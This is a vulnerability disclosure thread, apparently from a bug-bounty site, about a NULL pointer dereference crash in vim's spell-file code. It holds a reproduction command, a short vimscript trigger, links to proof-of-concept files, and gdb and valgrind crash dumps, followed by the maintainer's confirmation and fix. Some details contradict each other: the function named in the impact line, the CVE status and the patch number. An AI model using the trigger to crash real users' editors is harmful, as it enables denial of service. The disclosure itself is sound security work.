NULL Pointer Dereference in function sug_filltree in vim/vim

0

Valid Reported on Aug 18th 2022

Description

NULL Pointer Dereference in function sug_filltree at vim/src/spellfile.c:5600.

vim version

```
git log
commit 4875d6ab068f09df88d24d81de40dcd8d56e243d (grafted, HEAD -> master, t
```

Proof of Concept

```
./vim -u NONE -X -Z -e -s -S /home/fuzz/test/poc2_null.dat -c :qa!
Segmentation fault (core dumped)
```

gdb debug info

```
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000555555b9f3f0 in sug_filltree (spin=0x7ffffff95c0, slang=0x62100001f5
5600        if (curi[depth] > byts[arridx[depth]])

[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
$rax   : 0x0
$rbx   : 0x007fffffff93b0  →  0x007fffffff9950  →  0x007fffffff99a0  →  0x0
$rcx   : 0x0

$rdx   : 0x0
$rsp   : 0x007fffffff8340  →  0x0062100001f500  →  0x0000000000000000
$rbp   : 0x007fffffff93d0  →  0x007fffffff9410  →  0x007fffffff9970  →  0x0
$rsi   : 0x1
$rdi   : 0x0
$rip   : 0x00555555b9f3f0  →  <sug_filltree+1115> movzx eax, BYTE PTR [rcx]
$r8    : 0x0
$r9    : 0x000c507fff9020  →  0x0000000000000000
$r10   : 0x0
$r11   : 0x108
$r12   : 0x000fffffffff06e  →  0x0000000000000000
$r13   : 0x007fffffff8370  →  0x0000000041b58ab3
$r14   : 0x007fffffff8370  →  0x0000000041b58ab3
$r15   : 0x007fffffff9ae0  →  0x0000000041b58ab3
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow F
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────
0x007fffffff8340|+0x0000: 0x0062100001f500  →  0x0000000000000000    ← $rsp
0x007fffffff8348|+0x0008: 0x007fffffff95c0  →  0x00628000008110  →  0x00000
0x007fffffff8350|+0x0010: 0xffffffff00000000
0x007fffffff8358|+0x0018: 0x0000000000000000
0x007fffffff8360|+0x0020: 0x0000000000000000
0x007fffffff8368|+0x0028: 0x0000000000000000
0x007fffffff8370|+0x0030: 0x0000000041b58ab3     ← $r13, $r14
0x007fffffff8378|+0x0038: 0x00555555eaeaa0  →  "5 32 1016 11 arridx:5569 11
──────────────────────────────────────────────────────────────────────────
   0x555555b9f3e6 <sug_filltree+1105> je     0x555555b9f3f0 <sug_filltree+1
   0x555555b9f3e8 <sug_filltree+1107> mov    rdi, rax
   0x555555b9f3eb <sug_filltree+1110> call   0x55555568dba0 <__asan_report_
 → 0x555555b9f3f0 <sug_filltree+1115> movzx  eax, BYTE PTR [rcx]
   0x555555b9f3f3 <sug_filltree+1118> movzx  eax, al
   0x555555b9f3f6 <sug_filltree+1121> cmp    esi, eax
   0x555555b9f3f8 <sug_filltree+1123> jle    0x555555b9f599 <sug_filltree+1
   0x555555b9f3fe <sug_filltree+1129> mov    eax, DWORD PTR [rbp-0x1080]
   0x555555b9f404 <sug_filltree+1135> cdqe
──────────────────────────────────────────────────────────────────────────
   5595      wordcount[0] = 0;
```

```
   5596
   5597      depth = 0;
   5598      while (depth >= 0 && !got_int)

   5599      {
            // byts=0x007ffffffff8360  →  0x0000000000000000, depth=0x0, arric
 → 5600     if (curi[depth] > byts[arridx[depth]])
   5601     {
   5602         // Done all bytes at this node, go up one level.
   5603         idxs[arridx[depth]] = wordcount[depth];
   5604         if (depth > 0)
   5605         wordcount[depth - 1] += wordcount[depth];
```

```
[#0] Id 1, Name: "vim", stopped 0x555555b9f3f0 in sug_filltree (), reason:
```

```
[#0] 0x555555b9f3f0 → sug_filltree(spin=0x7fffffff95c0, slang=0x62100001f50
[#1] 0x555555b9ed48 → spell_make_sugfile(spin=0x7fffffff95c0, wfname=0x6210
[#2] 0x555555ba2799 → mkspell(fcount=0x1, fnames=0x611000000400, ascii=0x0,
[#3] 0x555555b9ea0c → ex_mkspell(eap=0x7fffffff9b30)
[#4] 0x555555817454 → do_one_cmd(cmdlinep=0x7fffffff9e90, flags=0xb, cstack
[#5] 0x55555580e6f7 → do_cmdline(cmdline=0x602000006050 "mksp! Xtest", fget
[#6] 0x55555580ca91 → do_cmdline_cmd(cmd=0x602000006050 "mksp! Xtest")
[#7] 0x5555557b2730 → execute_common(argvars=0x7fffffffadd0, rettv=0x7ffff
[#8] 0x5555557b2cc2 → f_execute(argvars=0x7fffffffadd0, rettv=0x7fffffffc0c
[#9] 0x5555557ad280 → call_internal_func(name=0x602000006070 "execute", arg
```

poc download: poc2_null.dat

Impact

NULL Pointer Dereference in function generate_loadvar allows attackers to cause a denial of service (application crash) via a crafted input.

CVE
CVE-2022-2923
(Published)

Vulnerability Type

CWE-476: NULL Pointer Dereference

Severity
Medium (6.6)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,055 times.

We are processing your report and will contact the **vim** team within 24 hours. 3 months ago

We have contacted a member of the **vim** team and are waiting to hear back 3 months ago

Bram Moolenaar 3 months ago Maintainer

I cannot reproduce, it does not get to the line reported here.

janette88 3 months ago Researcher

sorry,it was my mistake to upload one of my testing samples . I checked my l
right one .

poc

```
let output = execute('mkspell! Xtest')
```

vim version

`git log
commit 13ed494bb5edc5a02d0ed0feabddb68920f88570 (grafted, HEAD -> master, tag: v9.0.0228, origin/master, origin/HEAD)
Author: Bram Moolenaar Bram@vim.org
Date: Fri Aug 19 13:59:25 2022 +0100

``

poc log

```
 ./vim -u NONE -X -Z -e -s -S /home/fuzz/test/poc2_null.dat -c :qa!
Segmentation fault (core dumped)
```

gdb track

```
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000555555b9f633 in sug_filltree (spin=0x7fffffff95c0, slang=0x62100001f500) at spel
5600        if (curi[depth] > byts[arridx[depth]])

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────
$rax   : 0x0
$rbx   : 0x007fffffff93b0  →  0x007fffffff9950  →  0x007fffffff99a0  →  0x0000000041b5
$rcx   : 0x0
$rdx   : 0x0
$rsp   : 0x007fffffff8340  →  0x0062100001f500  →  0x0000000000000000
$rbp   : 0x007fffffff93d0  →  0x007fffffff9410  →  0x007fffffff9970  →  0x007fffffff9a
```

```
$rsi   : 0x1
$rdi   : 0x0
$rip   : 0x00555555b9f633  →  <sug_filltree+1115> movzx eax, BYTE PTR [rcx]
$r8    : 0x0
$r9    : 0x000c507fff9020  →  0x0000000000000000
$r10   : 0x0
$r11   : 0x108
$r12   : 0x000fffffffff06e  →  0x0000000000000000
$r13   : 0x007ffffffff8370  →  0x0000000041b58ab3
$r14   : 0x007ffffffff8370  →  0x0000000041b58ab3
$r15   : 0x007ffffffff9ae0  →  0x0000000041b58ab3
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtu
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────
0x007ffffffff8340│+0x0000: 0x0062100001f500  →  0x0000000000000000    ← $rsp
0x007ffffffff8348│+0x0008: 0x007ffffffff95c0  →  0x00628000008110  →  0x000000000000000
0x007ffffffff8350│+0x0010: 0xffffffff00000000
0x007ffffffff8358│+0x0018: 0x0000000000000000
0x007ffffffff8360│+0x0020: 0x0000000000000000
0x007ffffffff8368│+0x0028: 0x0000000000000000
0x007ffffffff8370│+0x0030: 0x0000000041b58ab3     ← $r13, $r14
0x007ffffffff8378│+0x0038: 0x00555555eaeac0  →  "5 32 1016 11 arridx:5569 1184 1016 9 c
──────────────────────────────────────────────────────────────────────────────────────
   0x555555b9f629 <sug_filltree+1105> je     0x555555b9f633 <sug_filltree+1115>
   0x555555b9f62b <sug_filltree+1107> mov    rdi, rax
   0x555555b9f62e <sug_filltree+1110> call   0x55555568dba0 <__asan_report_load1@plt>
 → 0x555555b9f633 <sug_filltree+1115> movzx  eax, BYTE PTR [rcx]
   0x555555b9f636 <sug_filltree+1118> movzx  eax, al
   0x555555b9f639 <sug_filltree+1121> cmp    esi, eax
   0x555555b9f63b <sug_filltree+1123> jle    0x555555b9f7dc <sug_filltree+1540>
   0x555555b9f641 <sug_filltree+1129> mov    eax, DWORD PTR [rbp-0x1080]
   0x555555b9f647 <sug_filltree+1135> cdqe
──────────────────────────────────────────────────────────────────────────────────────
   5595      wordcount[0] = 0;
   5596
   5597      depth = 0;
   5598      while (depth >= 0 && !got_int)
   5599      {
            // byts=0x007ffffffff8360  →  0x0000000000000000, depth=0x0, arridx=0x007ffff
 → 5600     if (curi[depth] > byts[arridx[depth]])
   5601     {
   5602         // Done all bytes at this node, go up one level.
   5603         idxs[arridx[depth]] = wordcount[depth];
   5604         if (depth > 0)
   5605         wordcount[depth - 1] += wordcount[depth];
──────────────────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "vim", stopped 0x555555b9f633 in sug_filltree (), r
──────────────────────────────────────────────────────────────────────────────────────
[#0] 0x555555b9f633 → sug_filltree(spin=0x7ffffffff95c0, slang=0x62100001f500)
```

```
[#1] 0x555555b9ef8b → spell_make_sugfile(spin=0x7fffffff95c0, wfname=0x621000017d00 "X
[#2] 0x555555ba29dc → mkspell(fcount=0x1, fnames=0x611000000400, ascii=0x0, over_write
[#3] 0x555555b9ec4f → ex_mkspell(eap=0x7fffffff9b30)
[#4] 0x555555817565 → do_one_cmd(cmdlinep=0x7fffffff9e90, flags=0xb, cstack=0x7fffffff
[#5] 0x55555580e808 → do_cmdline(cmdline=0x602000006050 "mkspell! Xtest", fgetline=0x0
[#6] 0x55555580cba2 → do_cmdline_cmd(cmd=0x602000006050 "mkspell! Xtest")
[#7] 0x5555557b2841 → execute_common(argvars=0x7fffffffadd0, rettv=0x7fffffffc0c0, arg
[#8] 0x5555557b2dd3 → f_execute(argvars=0x7fffffffadd0, rettv=0x7fffffffc0c0)
[#9] 0x5555557ad391 → call_internal_func(name=0x602000006070 "execute", argcount=0x1,
```

I also updated the poc . still download here:
https://github.com/Janette88/vim/blob/main/poc2_null.dat

you can reproduce it again :-)

Bram Moolenaar 3 months ago Maintainer

Nope. Stepping through it with gdb I see it never gets to call spell_make_sugfile(), because spin.si_sugtime is zero. Also, "error" is non-zero. Perhaps you have an existing "Xtest" file? When I create one with a couple of words it still doesn't happen, because "spin.si_sugtime' is zero.

janette88 3 months ago Researcher

yes, i also found something strange. i can reproduce the bug using a bigger poc (40K) with one shot. but it could not be triggered with being cut short poc (1K) after restart a new terminal. The origin poc is so big that it is not a good regression testcase. i was attempting to make it smaller so that it can be used as a good case . As you said, xtest file may be existed after i tested the bigger poc. If i run the minor poc in the same terminal , it would be crash. There was something wrong with the minor poc.
the bigger poc : https://github.com/Janette88/vim/blob/main/test111.dat

janette88 3 months ago Researcher

xtest file generated after i run the bigger poc . That's the cause it always reproduced normally when i test with the minor poc in the same terminal.

Bram Moolenaar 3 months ago

It probably requires Xfile.spl and Xfile.aff with SOFOFROM and SOFOTO lines. I can't guess more.

janette88 3 months ago Researcher

you're right. I worked on cutting short poc by manually and finished testing under current version. I uploaded the newest minor poc :
https://github.com/Janette88/vim/blob/main/poc2_null.dat
pls check again:-) let me know if the minor poc still doesn't work well.

janette88 3 months ago Researcher

i also tested the minor poc with valgrind, it worked well :-)

```
 date
Sat 20 Aug 2022 12:24:17 AM PDT

 ll  /home/fuzz/test
total 12
drwxrwxr-x  2 fuzz fuzz 4096 Aug 20 00:23 ./
drwxr-xr-x 25 fuzz fuzz 4096 Aug 20 00:17 ../
-rwxrw-rw-  1 fuzz fuzz  754 Aug 19 23:51 poc2_null.dat*

 ./vim -u NONE -X -Z -e -s -S /home/fuzz/test/poc2_null.dat -c :qa!
Segmentation fault (core dumped)

valgrind ./vim -u NONE -X -Z -e -s -S /home/fuzz/test/poc2_null.dat -c :qa!
==22791== Memcheck, a memory error detector
==22791== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==22791== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info
==22791== Command: ./vim -u NONE -X -Z -e -s -S /home/fuzz/test/poc2_null.dat -c :qa!
==22791==
==22791== Invalid read of size 1
==22791==    at 0x2D68A0: sug_filltree (spellfile.c:5600)
==22791==    by 0x2D68A0: spell_make_sugfile (spellfile.c:5518)
==22791==    by 0x2D68A0: mkspell (spellfile.c:6149)
==22791==    by 0x2D7C1E: ex_mkspell (spellfile.c:5466)
==22791==    by 0x1C5068: do_one_cmd (ex_docmd.c:2570)
==22791==    by 0x1C5068: do_cmdline (ex_docmd.c:992)
==22791==    by 0x1A488E: execute_common (evalfunc.c:3997)
==22791==    by 0x1A2783: call_internal_func (evalfunc.c:2984)
==22791==    by 0x32A24F: call_func (userfunc.c:3617)
==22791==    by 0x32A5B5: get_func_tv (userfunc.c:1819)
==22791==    by 0x18D6EA: eval_func (eval.c:2170)
```

```
==22791==    by 0x192CD4: eval19 (eval.c:4051)
==22791==    by 0x193297: eval18 (eval.c:3620)
==22791==    by 0x19349B: eval17 (eval.c:3412)
==22791==    by 0x193E4D: eval16 (eval.c:3175)
==22791==    by 0x193E4D: eval15 (eval.c:3064)
==22791==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==22791==
==22791==
==22791== Process terminating with default action of signal 11 (SIGSEGV)
==22791==    at 0x4A603DB: kill (syscall-template.S:78)
==22791==    by 0x25EC0B: may_core_dump (os_unix.c:3449)
==22791==    by 0x25EC0B: mch_exit (os_unix.c:3485)
==22791==    by 0x3844A2: getout (main.c:1737)
==22791==    by 0x4A6008F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==22791==    by 0x2D689F: sug_filltree (spellfile.c:5600)
==22791==    by 0x2D689F: spell_make_sugfile (spellfile.c:5518)
==22791==    by 0x2D689F: mkspell (spellfile.c:6149)
==22791==    by 0x2D7C1E: ex_mkspell (spellfile.c:5466)
==22791==    by 0x1C5068: do_one_cmd (ex_docmd.c:2570)
==22791==    by 0x1C5068: do_cmdline (ex_docmd.c:992)
==22791==    by 0x1A488E: execute_common (evalfunc.c:3997)
==22791==    by 0x1A2783: call_internal_func (evalfunc.c:2984)
==22791==    by 0x32A24F: call_func (userfunc.c:3617)
==22791==    by 0x32A5B5: get_func_tv (userfunc.c:1819)
==22791==    by 0x18D6EA: eval_func (eval.c:2170)
==22791==
==22791== HEAP SUMMARY:
==22791==     in use at exit: 129,193 bytes in 513 blocks
==22791==   total heap usage: 1,168 allocs, 655 frees, 328,457 bytes allocated
==22791==
==22791== LEAK SUMMARY:
==22791==    definitely lost: 1,262 bytes in 2 blocks
==22791==    indirectly lost: 0 bytes in 0 blocks
==22791==      possibly lost: 2,799 bytes in 20 blocks
==22791==    still reachable: 125,132 bytes in 491 blocks
==22791==         suppressed: 0 bytes in 0 blocks
==22791== Rerun with --leak-check=full to see details of leaked memory
==22791==
==22791== For lists of detected and suppressed errors, rerun with: -s
==22791== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)
```

Bram Moolenaar validated this vulnerability 3 months ago

OK, I can reproduce it now. Just requires an empty .dic file and a .aff file with SOFOFROM/SOFOTO.

janette88 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 3 months ago Maintainer

Fixed with patch 9.0.0240

Bram Moolenaar marked this as fixed in 9.0.0239 with commit 6669de 3 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

janette88 3 months ago Researcher

thanks a lot :-) i wanna modify a word here (repalce "generate_loadvar" with "sug_filltree")

```
Impact
NULL Pointer Dereference in function generate_loadvar (should be "sug_filltree")  allc
```

Sign in to join this conversation